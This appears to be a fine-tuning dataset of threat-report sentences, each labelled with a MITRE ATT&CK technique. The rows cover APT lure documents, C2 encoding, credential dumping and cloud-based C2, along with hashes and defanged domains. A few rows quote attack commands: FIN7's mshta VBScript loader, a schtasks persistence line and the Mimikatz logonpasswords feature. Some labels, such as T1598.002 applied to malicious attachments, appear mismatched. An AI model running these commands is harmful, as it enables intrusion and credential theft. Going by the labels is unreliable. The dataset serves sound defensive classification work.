"Finally, Reaver.v2 will execute the ‘~Update.lnk’ file in a new process, thus loading the recently dropped malicious CPL file",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
This shortcut file calls the built-in ‘control.exe’ utility to in turn load the previously dropped malicious CPL file of ‘winhelp.cpl’,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
The lnk files were an especially interesting development because the powershell code they contain for decoding and dropping the payload is nearly identical to that utilized by the Zebrocy threat actor a month earlier,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Using Windows Shortcut files (.lnk) in the Startup folder that invoke the Windows Scripting Host (wscript.exe) to execute a Jscript backdoor for persistence,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
"2 Successful payload download Astaroth’s initial payload is a malicious .lnk file, a common delivery method used by threat actors",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Malicious .lnk files contain a link to a URL (instead of the expected local URI) to grab the next payload,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
"In the case of Astaroth trojan, the .lnk file contains an argument into WMIC.exe to run in non-interactive mode, which forgoes opening a window that the victim could notice, to download the hardcoded url in the .lnk",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
Encoded Payload   Decoded Payload     MD5   Size   Import Hash   Exported Function   Version    aa3f303c3319b14b4829fe2faa5999c1  322164  182ee99b4f0803628c30411b1faa9992  l7MF25T96n45qOGWX  5.3.2    126067d634d94c45084cbe1d9873d895  330804  5f45532f947501cf024d84c36e3a19a1  hJvTJcdAU3mNkuvGGq7L  5.4.1    fce54b4886cac5c61eda1e7605483ca3  345812  c1942a0ca397b627019dace26eca78d8  WcuH  5.4.1    Table 2: Static characteristics of UPPERCUT Another new feature in the latest UPPERCUT sample is that the malware sends an error code in the Cookie header if it fails to receive the HTTP response from the command and control (C2) server,['T1132 - Data Encoding'],fine_tune
Another difference in the network traffic generated from the malware is that the encoded proxy information has been added in the URL query values during the C2 communication,['T1132 - Data Encoding'],fine_tune
The communication and exfiltration of data was detected in a real-world scenario using the Cybereason platform,['T1132 - Data Encoding'],fine_tune
"The optional HTTP data with king.jpg looks like a beacon to inform the control server that the malware is ready to accept new commands:  Commands received from the control server are encoded DWORDs After decoding, these DWORDs should be in the range 123459h to 123490h  Malware checking to make sure a received command is in the correct range",['T1132 - Data Encoding'],fine_tune
"If the size is 7 bytes or more, the backdoor verifies that the command and control server sent an encoded package",['T1132 - Data Encoding'],fine_tune
The generated buffer is encoded using the BASE64 alphabet to be sent in the POST request,['T1132 - Data Encoding'],fine_tune
"In response to this request, the C2 server responds with a Base64-encoded RSA public key (seen in Figure 12)",['T1132 - Data Encoding'],fine_tune
Data that is sent is compressed and then base64-encoded before being included in the requests,['T1132 - Data Encoding'],fine_tune
The C2 server sends back Base64 encoded response,['T1132 - Data Encoding'],fine_tune
"The script gathers system specific data, such as the domain the system belongs to and the current username, that it constructs in the following format:   <domain>\<username>:pass   The above string is encoded using a custom base64 encoder to strip out non-alphanumeric characters (=, / and +) from the data and replaces them with domain safe values (01, 02 and 03 respectively)",['T1132 - Data Encoding'],fine_tune
A notable characteristic of CopyKittens is the use of DNS for command and control communication (C&C) and for data exfiltration,['T1132 - Data Encoding'],fine_tune
Note: CTU researchers frequently observe threat actors renaming archiving tools and storing data for exfiltration in uncommon directories,['T1132 - Data Encoding'],fine_tune
"Once the host-based enumeration information was obtained, it was base64-encoded and then appended to the URL post request to a C2, whereas in previous versions this information was written to a text file.",['T1132 - Data Encoding'],fine_tune
"The actor has used several notable techniques in these incidents such as sniffing passwords from Wi-Fi traffic, poisoning the NetBIOS Name Service, and spreading laterally via the EternalBlue exploit.  APT28 Uses Malicious Document to Target Hospitality Industry FireEye has uncovered a malicious document sent in spear phishing emails to multiple companies in the hospitality industry, including hotels in at least seven European countries and one Middle Eastern country in early July",['T1598.002 - Spearphishing Attachment'],fine_tune
"Malware Delivery Method  In all emails sent to these government officials, the actor used the same attachment: a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload",['T1598.002 - Spearphishing Attachment'],fine_tune
Figure 1: Contents of the Email A review of the email header data from the spear phishing messages showed that the threat actors sent the emails using the same infrastructure they have used in the past,['T1598.002 - Spearphishing Attachment'],fine_tune
"In at least some of these recent attacks, Buckeye used spear-phishing emails with a malicious .zip attachment",['T1598.002 - Spearphishing Attachment'],fine_tune
"Looking at earlier attacks between 2013 and 2016, we believe Comnie was also used in targeted attacks against the following individuals or organizations:  Taiwan government IT service vendor in Asia Journalist of a Tibetan radio station   Figure 6 Email sent to Journalist of Tibetan radio station   Malicious Macros The malicious macro documents used to deliver Comnie initially hide the content inside and requests that the user enables macros prior to viewing the document",['T1598.002 - Spearphishing Attachment'],fine_tune
APT32 actors continue to deliver the malicious attachments via spear-phishing emails,['T1598.002 - Spearphishing Attachment'],fine_tune
The credential harvesting attacks used spear-phishing emails that contained malicious Microsoft Office documents that leveraged the “attachedTemplate” technique to load a template from a remote server,['T1598.002 - Spearphishing Attachment'],fine_tune
The attack involved a spear-phishing email with a subject of “Project Offer” and a malicious Word document (SHA256: d393349a4ad00902e3d415b622cf27987a0170a786ca3a1f991a521bff645318) as an attachment,['T1598.002 - Spearphishing Attachment'],fine_tune
Phishing emails with political themes were used in the majority of the observed attack emails,['T1598.002 - Spearphishing Attachment'],fine_tune
"Based on our analysis, financial organizations in Turkey were targeted via spear phishing emails containing a malicious Microsoft Word document",['T1598.002 - Spearphishing Attachment'],fine_tune
Figure 2: Excerpt of an APT33 malicious .hta file We assess APT33 used a built-in phishing module within the publicly available ALFA TEaM Shell (aka ALFASHELL) to send hundreds of spear phishing emails to targeted individuals in 2016,['T1598.002 - Spearphishing Attachment'],fine_tune
The spear phishing emails and attached malicious macro documents typically have geopolitical themes,['T1598.002 - Spearphishing Attachment'],fine_tune
The attackers used spear phishing emails combined with malicious HWP documents created using Hancom Hangul Office Suite,['T1598.002 - Spearphishing Attachment'],fine_tune
"We suspect the attacker was trying to generate sympathy by reminding the reader that Munchon and the province it is in, Kangwon, were part of a unified province that included South Korea's Gangwon-do prior to the division of Korea in 1945.A second email contained a story about a person called 'Ewing Kim' who was looking for help:The email's attachments are two different HWP documents, both leveraging same vulnerability (CVE-2013-0808)",['T1598.002 - Spearphishing Attachment'],fine_tune
This campaign began with a handful of spear phishing emails to South Korean targets and containing malicious attachments,['T1598.002 - Spearphishing Attachment'],fine_tune
"Another interesting characteristic of the malicious documents is that the metadata associated with the document files themselves also matches that found in many of the malicious documents that were previously being used to spread Remcos.Figure 3: Document metadataAdditionally, the creation and modification dates associated with these documents are shortly after we released a detailed analysis of Remcos distribution campaigns that were being observed throughout 2018",['T1598.002 - Spearphishing Attachment'],fine_tune
"In May 2016, we published a blog detailing a spear phishing campaign targeting banks in the Middle East region that used macro-enabled attachments to distribute POWBAT malware",['T1598.002 - Spearphishing Attachment'],fine_tune
Analysis APT34 sent a malicious .rtf file (MD5: a0e6933f4e0497269620f44a083b2ed4) as an attachment in a malicious spear phishing email sent to the victim organization,['T1598.002 - Spearphishing Attachment'],fine_tune
This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy),['T1598.002 - Spearphishing Attachment'],fine_tune
In this instance a spear phishing email was used containing a lure designed to socially engineer and entice the victim to executing a malicious attachment,['T1598.002 - Spearphishing Attachment'],fine_tune
"In contrast to the two samples used in these attacks, this one did not use a PE attachment, and instead used a Microsoft Word document containing a malicious macro as the delivery vehicle",['T1598.002 - Spearphishing Attachment'],fine_tune
"The email contained an attachment named Seminar-Invitation.doc, which is a malicious Microsoft Word document we track as ThreeDollars",['T1598.002 - Spearphishing Attachment'],fine_tune
Zebrocy is delivered primarily via phishing attacks that contain malicious Microsoft Office documents with macros as well as simple executable file attachments,['T1598.002 - Spearphishing Attachment'],fine_tune
"Malicious Document   Decoy Document  The attack starts with a spear-phishing email containing the HWP document named ""미북 정상회담 전망 및 대비.hwp"" (Prospects for US-North Korea Summit .hwp)",['T1598.002 - Spearphishing Attachment'],fine_tune
Delivery TG-3390 conducts SWCs or sends spearphishing emails with ZIP archive attachments,['T1598.002 - Spearphishing Attachment'],fine_tune
The case we found arrived through a targeted email that contained a document file (in docx format).,['T1598.002 - Spearphishing Attachment'],fine_tune
APT32 likely used COVID-19-themed malicious attachments against Chinese speaking targets.,['T1598.002 - Spearphishing Attachment'],fine_tune
"Once the password (delivered in the body of the email) is entered, the users are presented with a document that will request users to enable the malicious macro, as shown in Figure 3",['T1204 - User Execution'],fine_tune
Successful execution of the macro within the malicious document results in the installation of APT28’s signature GAMEFISH malware,['T1204 - User Execution'],fine_tune
"Once the user enables macros, the macro will perform the following actions:  Displays decoy content Checks for the existence of a file at %APPDATA%\wscript.exe If %APPDATA%\wscript.exe does not exist, the macro converts an embedded hex-encoded string into bytes and saves this data to the %APPDATA%\wscript.exe",['T1204 - User Execution'],fine_tune
"None of the known documents contain a lure image or message to instruct the recipient to click the Enable Content button necessary to run the macro, as seen in Figure 1",['T1204 - User Execution'],fine_tune
"Figure 1: Malicious FIN7 lure asking victim to double click to unlock contents The malicious LNK launches “mshta.exe” with the following arguments passed to it: vbscript:Execute(""On Error Resume Next:set w=GetObject(,""""Word.Application""""):execute w.ActiveDocument.Shapes(2).TextFrame.TextRange.Text:close"") The script in the argument combines all the textbox contents in the document and executes them, as seen in Figure 2",['T1204 - User Execution'],fine_tune
"Malicious processes are marked red (click image to enlarge):  The following malicious files are dropped and run:  C:\ProgramData\{2ED05C38-D464-4188-BC7F-F6915DE8D764}\OFFLINE\9A189DFE\C7B7C186\main.vbs dcac79d7dc4365c6d742a49244e81fd0 C:\Users\Public\Libraries\RecordedTV\DnE.ps1 7fe0cb5edc11861bc4313a6b04aeedb2 C:\Users\Public\Libraries\RecordedTV\DnS.ps1 3920c11797ed7d489ca2a40201c66dd4 “C:\Windows\System32\schtasks.exe” /create /F /sc minute /mo 3 /tn “GoogleUpdateTasksMachineUI” /tr C:\Users\Public\Libraries\RecordedTV\backup.vbs 7528c387f853d96420cf7e20f2ad1d32  Command and control server is located in the following domain: tecsupport[.]in A detailed analysis of the malware is provided in two posts by Palo Alto networks and in a post by FireEye, which wrote about previous campaigns by this threat agent",['T1204 - User Execution'],fine_tune
This document was a decoy aimed to entice the user to open malicious documents embedded further down the pageThe actor embedded two additional links and the document urged the user to click on these links for more information about New Year's activities in North Korea,['T1204 - User Execution'],fine_tune
Email attacks often use “click-worthy” or interesting topics to convince users to click links or open attachments that could lead to various threats,['T1204 - User Execution'],fine_tune
Users are advised to avoid opening attachments and click links on unsolicited emails,['T1204 - User Execution'],fine_tune
"These Honeybee documents did not contain any specific lures, rather variations of a “not compatible” message attempting to convince the user to enable content",['T1204 - User Execution'],fine_tune
"Additionally, a small number of campaigns over this same period also made use of various file-sharing platforms like Dropbox for hosting the malicious documents rather than directly attaching them to the messages themselves.Figure 2: Example malicious Excel documentSimilar to the technique described in our previous blog about Remcos, the contents of the documents have been intentionally made to appear as if they are blurry, with the user being prompted to enable editing to have a clearer view of the contents",['T1204 - User Execution'],fine_tune
"By default, Excel does not allow the download of data from the remote server, but will ask for the user’s consent by presenting the dialog box in Figure 2:  Figure 2 Excel security notice for .iqy files By enabling this data connection, the user allows Excel to obtain content from the URL in the .iqy file",['T1204 - User Execution'],fine_tune
"The document also contained a lure image, similar to ones commonly found in malicious macro documents which ask the user to click on “Enable Content” as seen in Figure 2",['T1204 - User Execution'],fine_tune
Message 3:    Headers Received: by mailcenter.support   Sender Mercator Institute for China Studies <publications@mericcs.org>   Subject Authoritarian advance Responding to Chinas growing political influence in Europe   Body Content and images included within the e-mail body were a direct copy of the following MERICS report:  https://www.merics.org/sites/default/files/2018-02/GPPi_MERICS_Authoritarian_Advance_2018_1.pdf   Notes The hyperlinked text Click here to download the report within the e-mail body lead to a malicious RTF document located at the URL hxxp://www.mericcs.org/GPPi_MERICS_Authoritarian_Advance_2018_1Q.doc,['T1204 - User Execution'],fine_tune
"By doing so, the main content of the macro itself (Figure 2) can be kept relatively simple, and the malicious’ codes small footprint can help enable evasion of automated detection mechanisms based on macro content",['T1204 - User Execution'],fine_tune
"In March, we came across an email with a malware attachment that used the Gamaredon group’s tactics.",['T1204 - User Execution'],fine_tune
"Once a user has double-clicked the embedded image, the form executes a VB setup script",['T1204 - User Execution'],fine_tune
"The threat actors also took additional steps to replace some variable strings in the more recent samples, likely in an attempt to avoid signature-based detection from Yara rules. Once the document was opened, it prompted the user to enable the macro titled ""BlackWater.bas"".",['T1204 - User Execution'],fine_tune
"The version used here is version 4.1 digitally signed by Notepad++, as shown in Figure 5",['T1553.002 - Code Signing'],fine_tune
"By using this technique, the malware is able to leverage itself from a signed and verified legitimate Windows OS process, or, alternatively, if aswrundll.exe or unins000.exe exists, a signed and verified security product process",['T1553.002 - Code Signing'],fine_tune
FIN7 has consistently utilized legally purchased code signing certificates to sign their CARBANAK payloads,['T1553.002 - Code Signing'],fine_tune
"In these websites they hosted malware that was digitally signed with a valid, likely stolen code signing certificate Based on VirusTotal uploads, malicious documents content, and known victims – other targeted organisations are located in Turkey, Qatar, Kuwait, United Arab Emirates, Saudi Arabia, and Lebanon",['T1553.002 - Code Signing'],fine_tune
"Digitally signed malware The entire bundle (VPN client and malware) was digitally signed with a valid code signing certificate issued by Symantec to AI Squared, a legitimate software company that develops accessibility software:  Thumbprint: F340C0D841F9D99DBC289151C13391000366631C Serial number: 45 E4 7F 56 0B 01 B6 4E 68 39 5E 5D 79 2F 2E 09 Another Helminth sample, 1c23b3f11f933d98febfd5a92eb5c715, was signed with a different AI Squared code signing certificate: Thumbprint: 92B8C0872BACDC226B9CE4D783D5CCAD61C6158A Serial number:62 E0 44 E7 37 24 61 2D 79 4B 93 AF 97 46 13 48 This suggest that the attackers had got a hold of an Ai Squared signing key, potentially after compromising their network",['T1553.002 - Code Signing'],fine_tune
They combine reconnaissance of GPO (Group Policy Object management for execution) with digitally-signed malware to avoid detection or blocking during their infection phases,['T1553.002 - Code Signing'],fine_tune
Stolen code signing certificates used to sign malware,['T1553.002 - Code Signing'],fine_tune
Many of this APT’s components are signed with phony Intel and AMD digital certificates,['T1553.002 - Code Signing'],fine_tune
"Based upon the instructional guide and the provided tools, this package appears consistent with the methodologies FireEye outlined in their research on how these attacks were executed, including specific details such as the use of ICAP via a proxy passthrough, in this case specifically squid, and using certbot to create a Let’s Encrypt SSL certificate",['T1573 - Encrypted Channel'],fine_tune
"The backdoor's infrequent beaconing, traffic obfuscation, extensive encryption and use of geographically local, legitimate websites for command and control (C2) make identification of its network traffic difficult",['T1573 - Encrypted Channel'],fine_tune
Encrypting communications using AES and RSA public key cryptography   5,['T1573 - Encrypted Channel'],fine_tune
"Figure 12 and Figure 13 show the RSA keys used in FELIXROOT, and Figure 14 shows the AES encryption parameters",['T1573 - Encrypted Channel'],fine_tune
"Figure 19. Scrambling ‘Mac OSX 10.12’  Encryption  The scrambled byte sequence is passed onto the constructor of the class Packet::Packet, which creates a random AES256 key and encrypts the buffer with this key",['T1573 - Encrypted Channel'],fine_tune
"It first grabs an encrypted blob stored away in a global variable and pulls out 381 bytes of this encrypted data:  The standard win32 api CryptDecrypt uses rc4 to decrypt this blob into a hardcoded c2, url path, and url parameters listed below with a simple 140-bit key “\x8B\xFF\x55\x8B\xEC\x83\xEC\x50\xA1\x84\x18\x03\x68\x33\xC9\x66\xF7\x45\x10\xE8\x1F\x89\x45\xFC\x8B\x45\x14\x56″",['T1573 - Encrypted Channel'],fine_tune
"These appeared to be hosted on either Linode or Google Cloud, with a preference for using the ASN AS63949",['T1102 - Web Service'],fine_tune
"Command and Control Infrastructure: Compromised servers, messaging platforms, and cloud service providers to avoid detection",['T1102 - Web Service'],fine_tune
"In addition, multiple APT40 command and control (C2) domains were initially registered by China based domain resellers and had Whois records with Chinese location information, suggesting a China based infrastructure procurement process",['T1102 - Web Service'],fine_tune
"Some APT40 malware tools can evade typical network detectiona by leveraging legitimate websites, such as GitHub, Google, and Pastebin for initial C2 communications",['T1102 - Web Service'],fine_tune
"This RAT communicates with 5.189.145.248, a command and control (C2) IP address that this group has used previously with other malware, including DarkComet and NJRAT",['T1102 - Web Service'],fine_tune
BRONZE UNION appears to use a combination of self-registered IP addresses and commercial VPN services in its command and control (C2) and operational infrastructure,['T1102 - Web Service'],fine_tune
LOWBALL abuses the Dropbox cloud storage service for command and control (CnC),['T1102 - Web Service'],fine_tune
"The attack is part of a trend where threat groups hide malicious activity by communicating with legitimate web services such as social networking and cloud storage sites to foil detection efforts.[2][3] A Cyber Campaign Likely Intended to Monitor Hong Kong Media During a Period of Crisis The threat group has previously used newsworthy events as lures to deliver malware.[4] They have largely targeted organizations involved in financial, economic and trade policy, typically using publicly available RATs such as Poison Ivy, as well some non-public backdoors.[5] The group started targeting Hong Kong media companies, probably in response to political and economic challenges in Hong Kong and China",['T1102 - Web Service'],fine_tune
"Firstly, the Trojan will use the following regular expression to determine if the C2 server wishes to cancel the C2 communications:       216.58.192.174|2a00:1450:4001:81a::200e|2200::|download.microsoft.com|ntservicepack.microsoft.com|windowsupdate.microsoft.com|update.microsoft.com     Additionally, the RogueRobin Trojan uses the regular expressions in Table 3 to confirm that the DNS response contains the appropriate data for it to extract information from",['T1102 - Web Service'],fine_tune
The string is formatted as “<domain list>|<minimum query size>|<maximum query size>|<hasGarbage>|<sleepPerRequest>|<maximum requests>|<query types>|<hibridMode>|<current query mode>”   ^slp Sets the sleep and jitter values   ^exit Exits the Trojan    Table 5 Commands available within the C# variant of RogueRobin Using Google Drive for C2 A command that was not available in the original PowerShell variant of RogueRobin but is available with the new C# variant is the x_mode,['T1102 - Web Service'],fine_tune
This command is particularly interesting as it enables an alternative command and control channel that uses the Google Drive API,['T1102 - Web Service'],fine_tune
"To use Google Drive, the x_mode command received from the C2 server via DNS tunneling will be followed by a newline-delimited list of settings needed to interact with the Google Drive account",['T1102 - Web Service'],fine_tune
"Figure 4 x_mode command and new line delimited settings As seen in Figure 4, the settings are stored in variables seen in Table 6, which are used to authenticate to the actor-controlled Google account before uploading and downloading files from Google Drive",['T1102 - Web Service'],fine_tune
"Figure 6 Hardcoded Google Drive URL used in RogueRobin sample When the modification_time for the first file changes, the Trojan downloads the contents from the first file uploaded to the Google Drive",['T1102 - Web Service'],fine_tune
"To get a job from the Google Drive account, the Trojan starts by creating a string that has the following structure with each element within the subdomain subjected to the number to character substitution from Table 4: c<unique identifier><job identifier padded with ‘0’ to make three digits><sequence number>c.<C2 domain> The Trojan will then obtain an OAUTH access token to the Google Drive in the same manner as before when obtaining the unique identifier",['T1102 - Web Service'],fine_tune
"Lastly, the new variant of RogueRobin is capable of using the Google Drive cloud service for its C2 channel, suggesting that DarkHydrus may be shifting to abusing legitimate cloud services for their infrastructure",['T1102 - Web Service'],fine_tune
"The Delphi variant of Cannon does not use legitimate web-based email services for its C2 communications, instead opting to use email accounts at an actor owned domain, ambcomission[.]com",['T1102 - Web Service'],fine_tune
"Then pastebin.com, github.com, mailimg.com, upload.cat, dev-point.com and pomf.cat were used as channels for the different malware stages before achieving a full RAT implementation, which then communicates with the corresponding C2 server",['T1102 - Web Service'],fine_tune
"However, the attacks different stages were hosted on a variety of free sites such as Mailimg, Github, Pastebin, dev-point.co, a.pomf.cat, and upload.cat",['T1102 - Web Service'],fine_tune
"The command index table and command handler address table.  Implant Capabilities Based on the responses received from the control server, the malware can carry out the following malicious tasks:  Recursively generate a list of files in a directory and send to the control server Terminate a specific process",['T1102 - Web Service'],fine_tune
The actor has the following demonstrated capabilities:To include exploits (for Hangul and Microsoft Office) in its workflows.To modify its campaigns by splitting the payload in to multiple stages To use compromised web servers or legitimate cloud based platforms,['T1102 - Web Service'],fine_tune
"Here is a list of the platforms used by this variant: Twitter, Yandex and Mediafire",['T1102 - Web Service'],fine_tune
"The majority of documents used the name “gerry knight” for the author field in the document metadata, and the embedded macros largely used direct IP connections to command and control (C2) servers rather than using domain names",['T1102 - Web Service'],fine_tune
This tactic uses public web services to host content that contains encoded commands that are decoded by the malware,['T1102 - Web Service'],fine_tune
"This can be seen in the following images taken from hxxp:// feeds.rapidfeeds[.]com/88604/, which is one of the dead drop resolvers we encountered in this sample:  Figure 7 Dead drop resolver used by BADNEWS   In order to decrypt this data, the authors have included additional steps from previous versions",['T1102 - Web Service'],fine_tune
Some of the targeted apps were:    Whatsapp  YouTube Video Downloader  Google Update   Instagram  Hack Wifi   AirDroid   WifiHacker     Facebook   Photoshop   SkyTV     Hotstar  Trump Dash   PokemonGo  With many more to come,['T1102 - Web Service'],fine_tune
Receiving C2 instructions from user profiles created by the adversary on legitimate websites/forums such as Github and Microsoft's TechNet portal,['T1102 - Web Service'],fine_tune
"An increasingly popular tactic by threat actors is to use legitimate hosting services like Google Cloud or CloudFlare for their payload and C2  infrastructure, making it much more difficult to safely block IPs",['T1102 - Web Service'],fine_tune
"Hidden Content The primary command and control location used in this campaign is hosted on a blog on blogspot[.]com, which enables the threat actors to hide their malicious content behind a legitimate service",['T1102 - Web Service'],fine_tune
"In some cases, the encoded PowerShell commands were used to download and execute content hosted on the paste site hxxps://pastebin[.]com",['T1102 - Web Service'],fine_tune
"five threads are for forwarding collected data to four cloud services (Box, Dropbox, Pcloud and Yandex). When uploading stolen data to a cloud service",['T1102 - Web Service'],fine_tune
"Additional tools were recovered during the incident, including a network scanning/enumeration tool, the archiving tool WinRAR and a bespoke Microsoft SharePoint enumeration and data dumping tool, known as 'spwebmember'",['T1018 - Remote System Discovery'],fine_tune
"Once inside the network of a hospitality company, APT28 sought out machines that controlled both guest and internal Wi-Fi networks. No guest credentials were observed being stolen at the compromised hotels; however, in a separate incident that occurred in Fall 2016, APT28 gained initial access to a victim’s network via credentials likely stolen from a hotel Wi-Fi network.  Upon gaining access to the machines connected to corporate and guest Wi-Fi networks, APT28 deployed Responder",['T1018 - Remote System Discovery'],fine_tune
"At a high-level, their targeting of financial organizations and subsequent heists have followed the same general pattern:   Information Gathering: Conducted research into an organization’s personnel and targeted third party vendors with likely access to SWIFT transaction systems to understand the mechanics of SWIFT transactions on victim networks (Please note: The systems in question are those used by the victim to conduct SWIFT transactions",['T1018 - Remote System Discovery'],fine_tune
"Host enumeration and lateral movement After gaining an initial foothold in a compromised environment, the threat actors quickly identify and explore accessible systems",['T1018 - Remote System Discovery'],fine_tune
"In one example, BRONZE UNION actors leveraged initial web shell access on Internet-facing systems to conduct internal reconnaissance, including domain enumeration and network state, via ipconfig, net use, net user, and net view commands",['T1018 - Remote System Discovery'],fine_tune
"This technique allows them to map network resources and make lateral movements inside the network, landing in the perfect machine to match the attacker’s interest",['T1018 - Remote System Discovery'],fine_tune
APT15 was also observed using Mimikatz to dump credentials and generate Kerberos golden tickets,['T1003 - OS Credential Dumping'],fine_tune
"During privilege escalation, freely available tools such as Mimikatz and Ncrack have been observed, in addition to legitimate tools such as Windows Credential Editor and ProcDump",['T1003 - OS Credential Dumping'],fine_tune
"APT40 leverages custom credential theft utilities such as HOMEFRY, a password dumper/cracker used alongside the AIRBREAK and BADFLICK backdoors",['T1003 - OS Credential Dumping'],fine_tune
"The datasets included:  Stolen credentials Potential systems to login to using stolen credentials Deployed webshell URLs Backdoor tools Command and control server component of backdoor tools Script to perform DNS hijacking Documents identifying specific individual operators Screenshots of OilRig operational systems  We analyzed each type of dataset other than the documents containing detailed information on alleged OilRig operators and they remain consistent with previously observed OilRig tactics, techniques, and procedures (TTPs)",['T1003 - OS Credential Dumping'],fine_tune
"In total, nearly 13,000 sets of credentials are included in the data dump",['T1003 - OS Credential Dumping'],fine_tune
"It appears to us that one organization had its entire Active Directory dumped out, making up most of the credentials we found in the data dump",['T1003 - OS Credential Dumping'],fine_tune
"Assuming the lists of credentials are valid, the mass collection confirms our hypothesis that the OilRig group maintains a heavy emphasis on credential based attacks along with the other types of attacks they deploy",['T1003 - OS Credential Dumping'],fine_tune
"When entered, these credentials are then sent to the C2 server, which allows DarkHydrus to collect the user account credentials",['T1003 - OS Credential Dumping'],fine_tune
"Credential Harvesting Attack On June 24, 2018, Unit 42 observed DarkHydrus carrying out a credential harvesting attack on an educational institution in the Middle East",['T1003 - OS Credential Dumping'],fine_tune
"Figure 2 Employee survey displayed after credential theft The November 2017 document displays a password handover document after credential theft occurs, as seen in Figure 3",['T1003 - OS Credential Dumping'],fine_tune
"Figure 3 Password handover form displayed after credential theft The infrastructure used in these credential harvesting attacks used the domain 0utl00k[.]net, which at the time of the attacks resolved to 107.175.150[.]113 and 195.154.41[.]150",['T1003 - OS Credential Dumping'],fine_tune
"Figure 6 Authentication dialog box with fake credentials entered On the C2 server, we observed Phishery receiving the inbound request and capturing the credentials, as seen in Figure 7",['T1003 - OS Credential Dumping'],fine_tune
"The malware accepts up to two arguments at the command line: one to display cleartext credentials for each login session, and a second to display cleartext credentials, NTLM hashes, and malware version for each login session",['T1003 - OS Credential Dumping'],fine_tune
"This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets",['T1003 - OS Credential Dumping'],fine_tune
Alerts for credential theft tools and privileged account lockouts should be investigated,['T1003 - OS Credential Dumping'],fine_tune
"(Source: Dell SecureWorks)   TG-3390 actors have also used the following publicly available tools:  Windows Credential Editor (WCE) — obtains passwords from memory gsecdump — obtains passwords from memory winrar — compresses data for exfiltration nbtscan — scans NetBIOS name servers  Tactics, techniques, and procedures Incident response engagements have given CTU researchers insight into the tactics TG-3390 employs during intrusions",['T1003 - OS Credential Dumping'],fine_tune
"15 Database dump Decoded, it reveals a detailed log of each affected machine",['T1003 - OS Credential Dumping'],fine_tune
Mimikatz to obtain credentials.,['T1003 - OS Credential Dumping'],fine_tune
"It was heavily modified, with almost all original code stripped out aside from its sekurlsa::logonpasswords credential stealing feature",['T1003 - OS Credential Dumping'],fine_tune
Domains The RoyalCli backdoor was attempting to communicate to the following domains:  News.memozilla[.]org video.memozilla[.]org  The BS2005 backdoor utilised the following domains for C2:  Run.linodepower[.]com Singa.linodepower[.]com log.autocount[.]org  RoyalDNS backdoor was seen communicating to the domain:  andspurs[.]com  Possible linked APT15 domains include:  Micakiz.wikaba[.]org cavanic9[.]net ridingduck[.]com zipcodeterm[.]com dnsapp[.]info   Published date:  10 March 2018   Written by:  Rob Smallridge,['T1008 - Fallback Channels'],fine_tune
"In order to extend the lifespan of the domains in case one or more are blacklisted, there are twelve different C2 domains that xparis() can be set to",['T1008 - Fallback Channels'],fine_tune
Indicators of Compromise (IoCs)    C&C servers    Ssl[.]arkouthrie[.]com   s3[.]hiahornber[.]com   widget[.]shoreoa[.]com       SHA256   Delivery document (W2KM_OCEANLOTUS.A): 2bb855dc5d845eb5f2466d7186f150c172da737bfd9c7f6bc1804e0b8d20f22a   Dropper (OSX_OCEANLOTUS.D): 4da8365241c6b028a13b82d852c4f0155eb3d902782c6a538ac007a44a7d61b4   Backdoor (OSX_OCEANLOTUS.D): 673ee7a57ba3c5a2384aeb17a66058e59f0a4d0cddc4f01fe32f369f6a845c8f   The post New MacOS Backdoor Linked to OceanLotus Found appeared first on,['T1008 - Fallback Channels'],fine_tune
"Additionally malware reports itself to its hardcoded command and control servers and established a backdoor connection, so the attacker may have a permanent remote connection",['T1008 - Fallback Channels'],fine_tune
"Business and government personnel who are traveling, especially in a foreign country, often rely on systems to conduct business other than those at their home office, and may be unfamiliar with threats posed while abroad",['T1083 - File and Directory Discovery'],fine_tune
These files are downloaded to a directory (C:\Users\Public\Libraries\tempsys) on the infected machine by Bxaki() and xparis(),['T1083 - File and Directory Discovery'],fine_tune
"In this particular case in 2013, the config file included an unknown plugin set, aside from the usual ‘ddos’ plugin listing",['T1083 - File and Directory Discovery'],fine_tune
"The malware then appends a script extension (php, bml, or cgi) with a random number of random parameters or a file extension from the following list with no parameters: gif, jpg, png, htm, html, php",['T1083 - File and Directory Discovery'],fine_tune
The body of the POST request may contain files contained in the cabinet format,['T1083 - File and Directory Discovery'],fine_tune
Figure 3 – A list of file extensions targeted for destruction by new variant of KillDisk component As well as being able to delete system files to make the system unbootable – functionality typical for such destructive trojans – the KillDisk variant detected in the electricity distribution companies also appears to contain some additional functionality specifically intended to sabotage industrial systems,['T1083 - File and Directory Discovery'],fine_tune
"This is the only instance we observed where a hardcoded Google Drive URL was included in RogueRobin, which may suggest that the author may have overlooked this during testing",['T1083 - File and Directory Discovery'],fine_tune
HD Creates a file in the Temp path and names it “hd” + PCID then invokes another program module named hd.test1 to identify logical drives,['T1083 - File and Directory Discovery'],fine_tune
Implant directory contained in the malicious Flash file,['T1083 - File and Directory Discovery'],fine_tune
"Otherwise, it runs a search for the “/bin/rsyncd” string within the files found in the /etc/ folder",['T1083 - File and Directory Discovery'],fine_tune
watch/?   search/?  find/?    results/? open/?    search/?  close/?   The “ai” value stands for the payload title,['T1083 - File and Directory Discovery'],fine_tune
The file names may vary from one version of the malware to another,['T1083 - File and Directory Discovery'],fine_tune
"In one version of the malware, the code checks if the “ProgramData” folder has folders or files with the keywords “Kasper“, “Panda“, or “ESET“",['T1083 - File and Directory Discovery'],fine_tune
It mimics the icon Finder usually applies to JPEG or text files to increase the likelihood the recipient will double-click the file,['T1083 - File and Directory Discovery'],fine_tune
"The file appears to have been compiled using a bat2exe tool, which will take batch files (.bat) and convert them to PE (.exe) files",['T1083 - File and Directory Discovery'],fine_tune
"Unlike a previously reported variant, this version of BADNEWS no longer looks at USB drives for interesting files",['T1083 - File and Directory Discovery'],fine_tune
"4 Upload edg499.dat, which includes the list of interesting files",['T1083 - File and Directory Discovery'],fine_tune
